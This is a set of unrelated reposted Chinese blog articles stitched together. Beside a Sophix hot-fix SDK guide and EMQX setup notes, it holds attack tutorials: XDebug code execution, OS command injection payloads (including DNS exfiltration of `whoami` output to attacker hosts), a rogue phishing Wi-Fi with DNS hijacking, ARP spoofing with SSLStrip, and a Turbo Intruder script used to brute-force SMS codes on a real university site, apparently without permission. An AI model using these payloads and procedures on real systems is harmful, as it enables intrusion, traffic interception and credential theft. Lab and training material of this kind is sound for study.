阿里热修复Sophix的使用指南

阿里热修复Sophix的使用指南

本文转自五问 并作补充

一、阿里云热修复Sophix的介绍

1.1、首先看一下市场上热修复方案的比较:

https://help.aliyun.com/document_detail/434850.html

image

1.2、收费情况:

https://help.aliyun.com/document_detail/434858.html

image

二、接入指南

2.1、准备

  1. 准备好阿里云账号
  2. 进行身份实名认证
  3. 移动研发平台EMAS,进行项目创建,创建后会生成一个aliyun-emas-services.json 文件,里面包含了热修复sdk接入时所需的密钥,很重要

2.2、EMAS平台的添加流程如下:

2.2.1、添加应用

image

image

生成应用的key信息文件,如果建议按需接入所需功能,没必要也不安全,按下图将文件放入到app中

image

下图的红框中的添加sdk也是,添加emas平台中的所有功能,建议按需接入某个功能(如:热修),另外该插件在Android gradle 7之上会报错

image

2.3、热修复接入

https://help.aliyun.com/document_detail/434883.html

注意点如下:

使用gradle plugin版本高于4.2时,可能会自动开启资源优化。开启资源优化后,资源名称被混淆,会导致补丁工具在生成补丁时一直卡在”开始构建补丁…..”,无法正常解析apk包。解决方案:在gradle.properties 中新增android.enableResourceOptimizations=false,重新生成基线包和修复包,然后再生成补丁。

密钥的使用推荐在SophixStubApplication 中初始化,而不是在AndroidManifest文件中配置

使用android studio打包生成apk时,要关闭instant run。

queryAndLoadNewPatch方法用来请求控制台发布的补丁包,会涉及设备信息读取,所以必须在用户同意隐私协议之后调用。另外用户可根据业务情况,酌情考虑是否打开此开关。

但不可放在attachBaseContext中,否则无网络权限,建议放在主进程用户同意隐私协议之后的任意时刻。

接入流程步骤如下:

添加工程依赖

1. Android Studio集成方式

1
2
3
4
5
6
7
8
9
10
11
12
13
gradle远程仓库依赖, 打开项目找到App的build.gradle文件,添加如下配置:

添加Maven仓库地址:

****

```
repositories {
maven {
url "http://maven.aliyun.com/nexus/content/repositories/releases"
}
}
```

2.添加gradle坐标版本依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
android {
......
defaultConfig {
applicationId "com.xxx.xxx" //包名
......
ndk {
//选择要添加的对应cpu类型的.so库。
//热修复支持五种
abiFilters 'arm64-v8a', 'armeabi', 'armeabi-v7a', 'x86', 'x86_64'
}
......
}
......
}
dependencies {
......
compile 'com.aliyun.ams:alicloud-android-hotfix:3.3.5'
......
}

3.添加应用权限

Sophix SDK使用到以下权限,使用Maven依赖或者aar依赖可以不用配置。具体配置在AndroidManifest.xml中。

1
2
3
4
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>

4.配置AndroidManifest文件

也可以不用配置(直接在SophixStubApplication,文件中初始化配置即可(推荐在SophixStubApplication中配置)),在 移动研发平台EMAS,进行项目创建,创建后会生成一个aliyun-emas-services.json 文件,里面包含了热修复sdk接入时所需的密钥

AndroidManifest.xml中间的application节点下添加如下配置:

1
2
3
4
5
6
7
8
9
<meta-data
android:name="com.taobao.android.hotfix.IDSECRET"
android:value="App ID" />
<meta-data
android:name="com.taobao.android.hotfix.APPSECRET"
android:value="App Secret" />
<meta-data
android:name="com.taobao.android.hotfix.RSASECRET"
android:value="RSA密钥" />

5. 混淆配置,按需配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
```
#基线包使用,生成mapping.txt
-printmapping mapping.txt
#生成的mapping.txt在app/build/outputs/mapping/release路径下,移动到/app路径下
#修复后的项目使用,保证混淆结果一致
#-applymapping mapping.txt
#hotfix
-keep class com.taobao.sophix.**{*;}
-keep class com.ta.utdid2.device.**{*;}
#防止inline
-dontoptimize
```
**
**重要**

开启混淆时,生成修复包要使用旧包的mapping文件以保证混淆结果一致。
初始化

6. 初始化

初始化的调用应该尽可能的早,必须在Application.attachBaseContext()的最开始(在super.attachBaseContext之后,如果有Multidex,也需要在Multidex.install之后)进行SDK初始化操作,初始化之前不能用到其他自定义类,否则极有可能导致崩溃。而查询服务器是否有可用补丁的操作可以在后面的任意地方。不建议在Application.onCreate()中初始化,因为如果带有ContentProvider,就会使得Sophix初始化时机太迟从而引发问题。

Sophix最新版本引入了新的初始化方式。

原来的初始化方式仍然可以使用。只是新方式可以提供更全面的功能修复支持,将会带来以下优点:

  • 初始化与应用原先业务代码完全隔离,使得原先真正的Application可以修复,并且减少了补丁预加载时间等等。
  • 新方式能够更完美地兼容Android 8.0以后版本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public class SophixStubApplication extends SophixApplication {
private final String TAG = "SophixStubApplication";
String appVersion = "0.0.0";

// 此处SophixEntry应指定真正的Application,并且保证RealApplicationStub类名不被混淆。
@SophixEntry(MyApplication.class)
static class RealApplicationStub {
}

@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
initSophix();
}

private void initSophix() {
try {
appVersion = this.getPackageManager()
.getPackageInfo(this.getPackageName(), 0)
.versionName;
} catch (Exception e) {
}
final SophixManager instance = SophixManager.getInstance();
List<String> tags = new ArrayList<>();
///todo 构建正式包之前需要修改为:
///tags.add("production");
tags.add("test"); //这个值就是,你进行灰度包热修时,要填写的tag
for (String tag : tags) {
Log.e(TAG, "sophix tag:" + tag);
}
instance.setContext(this)
.setAppVersion(appVersion)
.setEnableDebug(false)
.setEnableFullLog()
.setTags(tags)
.setSecretMetaData("你自己的hotfix.idSecret",
"你自己的emas.appSecret",
"你自己的hotfix.rsaSecret")
.setPatchLoadStatusStub(new PatchLoadStatusListener() {
@Override
public void onLoad(final int mode, final int code, final String info, final int handlePatchVersion) {
Log.e(TAG, "sophix handlePatchVersion:" + handlePatchVersion + " /code:" + code + " /info:" + info);
if (code == PatchStatus.CODE_LOAD_SUCCESS) {
///重启后会装载补丁会调用该方法
Log.e(TAG, "sophix load patch " + handlePatchVersion + " success!" + info);
} else if (code == PatchStatus.CODE_LOAD_RELAUNCH) {
///补丁加载成功会调用该方法
// 如果需要在后台重启,建议此处用SharePreference保存状态。
Log.e(TAG, "sophix preload patch success. restart app to make effect. handlePatchVersion:" + handlePatchVersion);

Intent intent = new Intent();
intent.putExtra("message", "恭喜你,成功接收到发送的广播" + PatchStatus.CODE_LOAD_RELAUNCH);
intent.setAction("可使用重启广播重启");
sendBroadcast(intent);
}
}
}).initialize();
}

}

7.最后,需要把AndroidManifest里面的application改为这个新增的SophixStubApplication类:

1
2
3
4
<application
android:name="com.my.pkg.SophixStubApplication"
... ...>
... ...

这样便完成了新方式的初始化接入改造。

三、热修复打差量包流程 热修控制台地址

https://emas.console.aliyun.com/service/devTool/hotfix/patch

3.1、找到热修界面添加应用

如下图:注意应用版本必须与你的versionName一致,否则会导致后续下发查找不到差量包

image

image

3.2、打差量包

https://help.aliyun.com/document_detail/434864.html

  1. 准备好SophixPatchTool_windows打包工具各版本打包工具如下:
  1. 打一个release的包
  2. 再第2步的release包的基础上修改一些内容,在打一个release包
  3. 利用工具开始打包,如下图

注意: 每次热修差量包的生成的基础包就是你上次发版后的包,并不是说你在进行第三次热修时,用第二次的热修包,作为基准包

问题包:1.0-querelease-2022-12-07.apk,修复包:1.0-release-2022-12-07.apk

image

打开工具:

image

选择两个包填充

image

选择设置填好keystore

image

选择高级,默认如下图,强制冷启动就是补丁包下发后必须重启,建议勾选强制冷启动,为何:看下面解释

image

Sophix何时走即时生效热修复,何时走冷启动修复?https://help.aliyun.com/document_detail/53227.htm?spm=5176.2020520104.0.0.385a3f1bbai0Ta#topic-1993907

配置完成后点击Go开始打差量包

image

成功

image

sophix-patch.jar 就是打出的差量包

image

四、上传补丁-发布

4.1、添加你的应用版本,然后上传补丁

image

4.2、发布补丁

上传后点击发布如下图

image

下载[hotfixdebug]工具验证你的补丁包是否成功,调试流程原文如下链接:

https://help.aliyun.com/document_detail/434866.html

image

调试没问题后点击上图的新建发布

image

发布的话:有全量,灰度两种,灰度的话 ,需要设置指定标签tag,就是你的应用app中Sophix所配置的,如下图:(推荐是全量)

image

4.3、发布成功后在app中调用查询补丁方法

SophixManager.getInstance().queryAndLoadNewPatch()

后续将回调PatchLoadStatusListener如下图

image

依次出现热修状态码如下,状态码含义:

https://help.aliyun.com/document_detail/434886.html?spm=a2c4g.11186623.0.0.6cdf4b0cnRYOiA

image

image

上图加载成功后提示需要重启后热修生效

五、测试用例

1. 修改一个toast文案,然后修复成功。

2. 修改一张图片,增加一张新的图片进行展示,增加点击效果,增加一个新的类生成提示文案(mipmap-hdpi、drawable-xhdpi、drawable、都添加图片)

drawable-xhdpi 中新增热修图片添加可能会存在问题:如下,然后按要求在drawable 中添加后,热修成功。

https://help.aliyun.com/document_detail/338384.html

image

3. 添加assets文件,热修成功。

4. 四大组件不行,因为需要在AndroidManifest.xml文件中配置,热修的时候使用的话会报找不到的,需要注册异常,如下图

image

5. 删除测试4中的组件跳转流程,热修测试成功,

6. 删除测试2中添加的xml中的代码与相关资源,热修测试成功

注意:

1.热修包存在的话,每杀死app,初始化进来都会走

1
2
3
onLoad方法的回调

code == PatchStatus.CODE_LOAD_SUCCESS

image

2.同一个热修包,设置不同的tag,然后点击下发的话都会下发一次

3.清除热修包后,之前发布的版本都无效了,再次查询加载,都查不到了,只能之后在这个版本重新发布

1
SophixManager.getInstance().cleanPatches()

热修复书籍:https://developer.aliyun.com/article/115122

111端口rpcbind漏洞

111端口rpcbind漏洞

本文转自Mamba start 并作补充

简介

rpcbind是NFS中用来进行消息通知的服务

实验环境

攻击机:kali linux
ip:192.168.172.134
目标机:Metasploittable2
ip:192.168.172.129

攻击过程

step1:使用nmap探测

命令:nmap 192.168.172.129

命令:nmap -sV -p 111 192.168.172.129

命令:nmap -p 111 --script=rpcinfo 192.168.172.129

step2:metasploit模块探测

启动msf

命令:use auxiliary/scanner/misc/sunrpc_portmapper

命令:show options

本文讲的是只需60字节就可通过rpcbind让服务器崩溃,全世界的人都知道这玩意儿的用处,人们就这么任由它一直开着,无语。所以,要么补上,要么关闭吧。

写在后面

向rpcbind服务的UDP套接字发送60字节载荷,便可填充目标内存,搞崩主机系统。
圭多·乌兰肯,该漏洞发现者兼“Rpcbomb”漏洞利用程序开发者,抱怨称该软件包维护者毫无反应,他不得不自己写了补丁。

漏洞利用&补丁:https://github.com/guidovranken/rpcbomb

他写道,Shodan搜索发现,互联网上开放 rpcbind 111 端口的主机有180万台。其中大多数都运行在AWS之类大规模托管上,用户总是直接沿用Linux发行版的默认配置(111端口开放)。

如果你真的需要使用rpcbind服务(将远程过程调用RPC与地址绑定),就把它置于防火墙后,限制111端口对外开放吧。最好就是直接关了。

GitHub上的补丁足够小,开发者们应该可以验证这些补丁的短小精悍:rpcbind只需要两行代码就能修复,不像libtirpc要256行。

乌兰肯称,该漏洞可使攻击者在远程rpcbind绑定主机上分配任意大小的内存(每次攻击最高可达4GB),除非进程崩溃,或者管理员挂起/重启rpcbind服务,否则该内存不会被释放。

当然,除了不断占用目标系统的内存,攻击者还可以干别的事,因为有些软件在内存分配失败的时候,是会发生不可预知的错误的。

XDebug 远程调试漏洞(代码执行)

XDebug 远程调试漏洞(代码执行)

本文转自joker0xxx3 并作补充

简介

XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置remote_connect_back = 1

1
2
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。

更多说明可参考:

漏洞利用

启动完成后,访问http://192.168.44.132:8080/即可发现主页是一个简单的phpinfo,在其中可以找到xdebug的配置,可见开启了远程调试。

image

因为需要使用dbgp协议与目标服务器通信,所以无法用http协议复现漏洞。

我编写了一个漏洞复现脚本,指定目标web地址、待执行的php代码即可:

1
2
# 要求用python3并安装requests库
python3 exp.py -t http://192.168.44.132:8080/index.php -c 'shell_exec('id');'

image

重要说明:因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网)。

PortSwigger Academy | OS command injection 操作系统命令注入

PortSwigger Academy | OS command injection : 操作系统命令注入

本文转自en0_0 并作补充

总结

  • &name=1&email=1%401.com||ping+-c+10+127.0.0.1||&subject=1 有时候需要url编码

  • productId=1&storeId=1|whoami POST方法不能用&

    在本节中,我们将解释什么是OS命令注入,描述如何检测和利用漏洞,为不同的操作系统拼写一些有用的命令和技术,并总结如何防止OS命令注入。

    image

什么是OS命令注入?

操作系统命令注入(也称为外壳程序注入)是一个Web安全漏洞,它使攻击者可以在运行应用程序的服务器上执行任意操作系统(OS)命令,并且通常会完全破坏该应用程序及其所有数据。 攻击者通常可以利用OS命令注入漏洞来破坏托管基础结构的其他部分,利用信任关系将攻击转移到组织内的其他系统。

执行任意命令

考虑一个购物应用程序,该应用程序使用户可以查看特定商店中某商品是否有库存。 该信息可通过如下网址访问:

https://insecure-website.com/stockStatus?productID=381&storeID=29

为了提供库存信息,应用程序必须查询各种旧系统。 由于历史原因,该功能是通过使用产品和存储ID作为参数调用shell命令来实现的:

stockreport.pl 381 29
此命令输出指定项目的库存状态,并返回给用户。

由于该应用程序无法防御OS命令注入,因此攻击者可以提交以下输入以执行任意命令:

& echo aiwefwlguh &

如果此输入是在productID参数中提交的,那么应用程序执行的命令是:

stockreport.pl & echo aiwefwlguh & 29

echo命令只是使提供的字符串在输出中回显,并且是测试某些类型的OS命令注入的有用方法。 & 字符是shell命令分隔符,因此执行的实际上是一个接一个的三个独立命令。 结果,返回给用户的输出为:

1
2
3
Error - productID was not provided
aiwefwlguh
29: command not found

输出的三行表明:

原始的stockreport.pl命令在没有预期参数的情况下执行,因此返回了错误消息。

执行注入的echo命令,并且在输出中回显提供的字符串。

原始参数29作为命令执行,从而导致错误。

通常,将附加命令分隔符&放置在注入命令之后是很有用的,因为这会将注入命令与注入点后面的内容分开。 这减少了随后发生的事件阻止注入的命令执行的可能性。

Lab: OS command injection, simple case

productId=1&storeId=1|whoami

image

有用的命令

当您确定了OS命令注入漏洞后,通常可以执行一些初始命令来获取有关您受到破坏的系统的信息。 以下是在Linux和Windows平台上有用的一些命令的摘要:

命令目的 Linux Windows
当前用户的名称 whoami whoami
操作系统 uname -a ver
网络配置 ifconfig ipconfig / all
网络连接 netstat -an netstat -an
运行进程 ps -ef tasklist

操作系统命令注入漏洞盲注

OS命令注入的许多实例都是盲注的漏洞。 这意味着应用程序不会在其HTTP响应中返回命令的输出。 盲注漏洞仍然可以被利用,但是需要不同的技术。

考虑一个允许用户提交有关该站点的反馈的网站。 用户输入他们的电子邮件地址和反馈消息。 然后,服务器端应用程序会向站点管理员生成一封包含反馈的电子邮件。 为此,它使用提交的详细信息调出邮件程序。 例如:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail命令的输出(如果有)不会在应用程序的响应中返回,因此使用echo有效负载将无效。 在这种情况下,您可以使用多种其他技术来检测和利用漏洞。

使用时间延迟检测盲注OS命令注入

您可以使用注入的命令来触发时间延迟,从而允许您根据应用程序响应的时间来确认命令已执行。 ping命令是执行此操作的有效方法,因为它使您可以指定要发送的ICMP数据包的数量,从而指定该命令运行所花费的时间:

& ping -c 10 127.0.0.1 &

此命令将导致应用程序ping其环回网络适配器10秒钟。

Lab: Blind OS command injection with time delays

1
csrf=j25Ci6owysrme8z4HvkicgC1hqXWr0Yz&name=1&email=1%401.com||ping+-c+10+127.0.0.1||&subject=1&message=1

image

通过重定向输出来利用盲注OS命令注入

您可以将注入命令的输出重定向到Web根目录下的文件中,然后可以使用浏览器进行检索。 例如,如果应用程序从文件系统位置/var/www/static提供静态资源,则可以提交以下输入:

& whoami> /var/www/static/whoami.txt &

>字符将whoami命令的输出发送到指定文件。 然后,您可以使用浏览器获取https://vulnerable-website.com/whoami.txt来检索文件,并查看注入命令的输出。

Lab: Blind OS command injection with output redirection

1
&email=1%401.com||whoami+>+/var/www/images/whoami.txt||&

image

利用带外(OAST)技术利用盲目的OS命令注入

您可以使用注入的命令,通过OAST技术触发与您控制的系统的带外网络交互。 例如:

& nslookup kgji2ohoyw.web-attacker.com &

此有效负载使用nslookup命令对指定的域进行DNS查找。 攻击者可以监视是否发生了指定的查找,从而检测到命令已成功注入。

Lab: Blind OS command injection with out-of-band interaction

image

带外通道还提供了一种从注入的命令中提取输出的简便方法:
(根本别啥用)

& nslookup whoami.kgji2ohoyw.web-attacker.com &

这将导致对DNS的攻击者所在域进行域名查询,其中包含whoami命令的结果:

1
wwwuser.kgji2ohoyw.web-attacker.com

Lab: Blind OS command injection with out-of-band data exfiltration

1
email=1%401.com||nslookup+`whoami`.132kftea48t801xjselcncwfp6vwjl.burpcollaborator.net||

image

注入OS命令的方式

各种shell字符可用于执行OS命令注入攻击。

许多字符用作命令分隔符,使命令可以链接在一起。 以下命令分隔符可在基于Windows和Unix的系统上运行:

&
&&
|
||

以下命令分隔符仅在基于Unix的系统上起作用:

;
Newline (0x0a or \n)

在基于Unix的系统上,您还可以使用反引号或美元字符在原始命令中内嵌执行注入命令: (原来如此,windows不能用反引号)

1
2
`injected-command`
$( injected-command )

请注意,不同的shell元字符具有细微不同的行为,这些行为可能会影响它们是否在某些情况下起作用,以及它们是否允许带内检索命令输出或仅对盲注使用有用。

有时,您控制的输入会出现在原始命令的引号中。 在这种情况下,需要先使用引号终止上下文(使用”或’),然后再使用适当的外壳元字符来插入新命令。

如何防止OS命令注入攻击

到目前为止,防止OS命令注入漏洞的最有效方法是永远不要从应用程序层代码中调用OS命令。 几乎在每种情况下,都有使用更安全的平台API来实现所需功能的替代方法。

如果认为无法通过用户提供的输入调出OS命令,则必须执行强大的输入验证。 有效验证的一些示例包括:

  • 根据 允许值 的白名单进行验证。
  • 验证输入是否为数字。
  • 验证输入仅包含字母数字字符,不包含其他语法或空格。

切勿尝试通过转义shell元字符来清理输入。 实际上,这太容易出错,容易被熟练的攻击者绕开。

配置EMQX服务器用户名/密码方式登录

配置EMQX服务器用户名/密码方式登录

本文转自GEEK.攻城狮 并作补充

配置环境

系统:ubuntu 18.04server lts

EMQX版本:v4.0.6

停止服务

emqx stop

编辑用户名密码配置文件

vim ./etc/emqx/plugins/emqx_auth_username.conf

增加用户名、密码,密码算法改为plain,透传

image

关闭匿名登录

vim /etc/emqx/emqx.conf

查找allow_anonymous,修改为false

image

启动emqx服务

1
emqx start

进入后台管理界面,启动用户名密码认证。

1
http://服务器IP:18083

image

此时,使用MQTT之前的匿名方式的配置,已经无法登录

image

MQTT.FX上,添加用户名密码:

image

此时可以通过用户名密码登录,订阅主题

image

同样的方式,我们需要再添加一个用户,用于两个用户之间通讯。

我们可以从服务器端登录一个用户,向MQTT.FX客户端订阅的TOPIC发送信息。可以看到正常收到。

image

kali搭建钓鱼WiFi

kali搭建钓鱼WiFi

本文转自逍遥子 并作补充

如何在kali下快速搭建钓鱼WiFi呢?全网最简单最详细的教程核能来袭。一起来看看吧。

准备

  • USB无线网卡(推荐8187 3070)
  • hostapd dnsmasq apache2
  • kali2020(最新版)

配置无线网卡

在终端执行 ifconfig查看是否有 wlan0如果存在,我们需要激活为监听模式。执行命令:

1
airmon-ng start wlan0

image

配置hostapd

1
vim hostapd.conf

写入下面内容

1
2
3
4
5
6
7
interface=wlan0mon
driver=nl80211
ssid=Chinanet #无线名称 随意即可
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0

image

配置dnsmasq文件

终端执行

1
vim dnsmasq.conf

写入内容如下:

1
2
3
4
5
6
7
8
interface=wlan0mon
dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h
dhcp-option=3, 192.168.1.1
dhcp-option=6, 192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

image

配置防火墙和端口转发

1
2
3
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0mon -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

image

这样做的目的是保证我们的鱼儿能够正常上网。

给无线网卡分配IP地址

1
2
ifconfig wlan0mon up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

启动钓鱼热点

1
hostapd hostapd.conf

image

这样我们便可以看到有一个 china-net的热点,但是不能连接,不要着急,我们启动dnsmasq即可。

1
dnsmasq -C dnsmasq.conf -d

这样,我们的热点便可以正常连接并上网了。

image

左边为连接的设备,右边有设备访问的网站信息。

高级操作

嗅探目标图片

在终端执行

1
driftnet -i wlan0mon

便可以看到目标访问的站点图片信息。

image

中间人攻击

域名重定向

修改 /etc/ettercap/etter.dns文件,添加内容如下:

1
2
3
baidu.com      A   192.168.1.1
*.baidu.com A 192.168.1.1
www.baidu.com PTR 192.168.1.1

即,当我们访问百度,自动跳转到本地。
开启本地 apache

1
service apache2 start

将做好的钓鱼页面放到 /var/www/html目录下,然后终端执行 ettercap -G利用 ettercap进行DNS劫持,具体做法这里不再诉述。

image

当然,你也可以对目标进行数据包的捕获和分析,我们这里也不再说了。

填个坑

有不少人搭建完成后,反应上不了网,是因为dns冲突了。如你家的路由器的网段是192.168.1.1/24而在dns的配置文件中dhcp-option=3, 192.168.1.1这样会冲突,解决办法很简单,把192.168.1.1改成其他网段就行了,如192.168.5.1,但是后面的规则也要改。最简单的方法就是登陆路由器,将lan口地址192.168.1.1改掉就行了!

记一次使用Burpsuite下的插件Turbo intruder进行实战

记一次使用Burpsuite下的插件Turbo intruder进行实战

本文转自酷酷的繁星 并作补充

相信很多师傅在进行渗透测试或者漏洞挖掘的时候都会用到burpsuite这款神器,但是不知道师傅们用过burpsuite里面一款叫turbo intruder的插件么

不管这些,今天看了这篇文章的师傅我相信也会对这款插件有兴趣

安装教程等等的文章在各大论坛一找一大堆,但是实战的又有几个呢,对吧?

今天繁星就给大家带来turbo intruder实战教程

目标站点是某科技大学的站点

首先我们打开这个站点的首页看看

image

可以看到有注册按钮

我们点进去看看

image

然后在这里推荐师傅们一个很便利的短信接收平台

https://www.bfkdim.com/

image

好的,继续

手机号那里我们就填这个平台里面的一个手机号

开启我们的burpsuite,点“立即注册”抓个包

image

选择验证码右键

image

发送到turbo intruder

我们这边不同官方的代码

爆破验证码只需生成数字的所有排列组合就可以了,可以通过以下代码来生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from itertools import product

def brute_veify_code(target, engine, length):
pattern = '1234567890'
for i in list(product(pattern, repeat=length)):
code = ''.join(i)
engine.queue(target.req, code)

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=True
)
brute_veify_code(target, engine, 6)

def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
if 'error' not in req.response:
table.add(req)

复制这段代码替换掉默认的

然后点击最下方攻击

image

我们可以看到各种数据,这速度反正我是爱了,师傅们还没爱吗

image

image

我们可以看到响应包,没有什么限制,所以我们可以继续进行枚举

PS:拿turbo intruder枚举有时候会崩,不用慌,关掉再来一遍就行了

由于本人电脑配置太水加上网络慢,所以还没枚举完验证码就过期了,跟我一样的师傅可以尝试多几次

经过两个小时的奋战后,终于…….

image

image

被ban了

image

没有办法只能换个手机号继续搞

重复做了一遍之后

当我再点击获取验证码,提示该手机号已经注册,这意味着什么?意味着刚刚的枚举成功了,我们回到turbo intruder找下响应包

image

image

响应包的字节是55,与其它的包不一样所以就是这个了

可以看到响应包,提示success

再看看其它的响应包

这个字节76的是验证码错误

image

字节88的是该手机已被注册

image

我们会发现前面的全是字节76后面的全88那我们要在76和88的交界部分找成功的包

另外,再声明一下,这篇文章是介绍turbo intruder的实战,重点在turbo intruder,有的师傅可能会觉得注册处爆破验证码并没什么用,但是大家想想,注册处爆破验证码的原理和找回密码处爆破验证码的原理有什么区别?再大胆点想象一下,要是管理员登录处有找回密码这一功能呢?对吧?

如何进行一次完整的 SSLStrip 攻击

如何进行一次完整的 SSLStrip 攻击

本文转自Glsakura 并作补充

简介

本文将介绍在局域网内,如何监听受害者流量并通过SSLstrip攻击获取敏感信息,分为如下两步:

  1. 中间人攻击,监听受害者流量
  2. SSLStrip攻击,获取敏感信息

实验环境

IP地址 MAC地址
win10 192.168.40.1 00:50:56:C0:00:08
网关 192.168.40.2 00:50:56:E7:9F:31
kali 192.168.40.128 00:0c:29:d8:d4:05
win7 192.168.40.130 00:0C:29:C9:34:A6
centos7 192.168.40.132 00:0c:29:bd:ef:65

kali:kali-linux-2020.1b-live-amd64.iso

win7:win7

纯净虚拟机系统,使用VMware或者VirtualBox导入镜像即可。
采用Win7SP1镜像制作,极限精简,无多余组件,非常纯净,使用流畅,系统已激活。

中间人攻击

中间人攻击(man-in-the-Middle Attack, MITM),就是攻击者扮演中间人进行攻击,可以劫持一段会话,窃取凭证和其他机密信息。简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情。

ARP (地址解析协议)

ARP 协议负责通过 IP 地址找到 MAC 地址(物理地址 ),在以太网中,是利用 MAC 地址来通讯的。

ARP协议是这样工作的:如win10需要给win7(IP为192.168.40.130)发送数据,为了知道谁是win7,首先win10发送一个广播包给网内所有机器“谁是192.168.40.130”,正常情况其他机器忽略该消息,仅win7回复“我是192.168.40.130”,于是通信就可以开始。所有的主机维护他们自己的ARP缓存表,所以不会每一次都发送广播,ARP表中包含IP对应的MAC地址。

如何进行ARP欺骗?

例如kali需要对win7进行arp欺骗,那他就不再忽略win10发送的消息,他也会大量的发送数据包回复“啊啊啊!我才是192.168.40.130”,然后win10就会错误地建立或者更新了自己ARP表。然后win10发送数据时都发到kali那去了。

攻击准备

mac 下准备

  1. 安装 macports 官网
  2. 更新 macports sudo port -d selfupdate
  3. 安装 dsniff(包含 arp 攻击的工具)sudo port install dsniff
  4. 安装 nmap brew install nmap (如果没有安装 Homebrew,可以去 Homebrew 官网

linux 下准备

  1. 安装 dsniff apt-get install -y dsniff
  2. 安装 nmap apt-get install -y nmap

攻击步骤

寻找目标

使用nmap命令扫描局域网,获得主机列表
如果所在局域网路由器地址是 192.168.40.1,可以使用 nmap -sP 192.168.40.1/24 扫描

-sP 表示使用 ping 方式扫描,192.168.40.1/24”表示扫描”192.168.40.1-192.168.40.254”这个网段的所有机器。

开启 IP 转发

ARP欺骗一般目的是把自己伪装成网关,但如果不作处理,当被欺骗数据包到达后就会被本机丢弃(因为本机不是网关,不知道如何处理这类数据包),这会导致没有数据包返回给被欺骗主机,导致断网。这当然是不允许的。开启IP转发功能可以解决该问题。IP转发负责把该类数据包再转发给真正的网关处理,开启IP转发的方法。

mac 下:

1
sysctl -w net.inet.ip.forwarding=1

linux 下:

1
echo 1 >/proc/sys/net/ipv4/ip_forward

ARP 欺骗

假设被攻击的 IP 是 192.168.40.130,局域网的网关是 192.168.40.2,攻击电脑使用的网卡接口是 eth0(可以使用 ifconfig 命令查看), 则欺骗命令如下:

1
2
arpspoof -i eth0 -t 192.168.40.130 192.168.40.2
#arpspoof是dsniff的一个组件,主要用于进行arp欺骗使用

成功的的话在被攻击主机上arp表如图所示

image

分析数据

如果 ARP 欺骗成功,则被攻击的设备会把所有数据先传到我们电脑上,接下来可以使用 ettercap 软件来分析数据。

使用driftnet获取图片

安装driftnetapt-get install driftnet

开始获取driftnet -i eth0

找一个http的网站进行测试

1
inurl:“http” -https

例子:http://www.kan-tv.com/

Tips:https因为进行了加密不能直接获取,进行SSLStrip攻击后就可获取了

SSLStrip 攻击

2009年的黑帽大会上,一个名叫Moxie Marlinspike的研究人员,发布了一个叫sslstrip的工具。通过该工具,可以实现对ssl进行中间人攻击。

SSLstrip 也叫 https 降级攻击,攻击者拦截用户流量后,欺骗用户与攻击者进行 http 通信,攻击者与服务器保持正常通信 (http 或 https),从而获取用户信息。

攻击原理

攻击者利用用户对于地址栏中HTTPS与HTTP的疏忽,将所有的HTTPS连接都用HTTP来代替。同时,与目标服务器建立正常的HTTPS连接。由于HTTP通信是没有经过加密传输的,并没有HTTPS安全,所以攻击者能轻松实施嗅探。

  1. 通过中间人攻击监听 http 流量
  2. 更改重定向链接中的 location,替换 https 为 http,并记录
  3. 更改响应内容中的超链接,替换 https 为 http,并记录
  4. 与用户进行 http 通信,与服务器进行 https 通信(记录中本应是 https 的请求),从而明文获取用户信息

Tips:

当用户浏览的网页中包含https协议,会被转化为http协议的请求

但是sslstrip也不是万能的, 假如网页中没有https, 但是js代码绑定了跳转到https的协议请求的事件,那么sslstrip就失效了

攻击准备

  1. 监听 http 流量

  2. 获取 sslstrip工具

    Requirements

    1
    2
    Python >= 2.5 (apt-get install python)
    The python "twisted-web" module (apt-get install python-twisted-web)
    1
    2
    3
    apt-get -y install python python-twisted-web
    git clone https://github.com/moxie0/sslstrip.git
    cd sslstrip && python ./setup.py install

攻击步骤

开启内核转发功能保证攻击过程中被攻击者不断网

临时ip转发

1
echo 1 > /proc/sys/net/ipv4/ip_forward

永久ip转发

1
2
3
vim /etc/sysctl.conf
net.ipv4.ip_forward = 1 //修改值
sysctl -p /etc/sysctl.conf //使修改生效

把流量导入到 sslstrip 程序

设置iptables以将HTTP通信重定向到sslstrip。
输入命令: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
其中最后面的端口号(比如上面的 10000)就是 sslstrip 程序监听的端口号

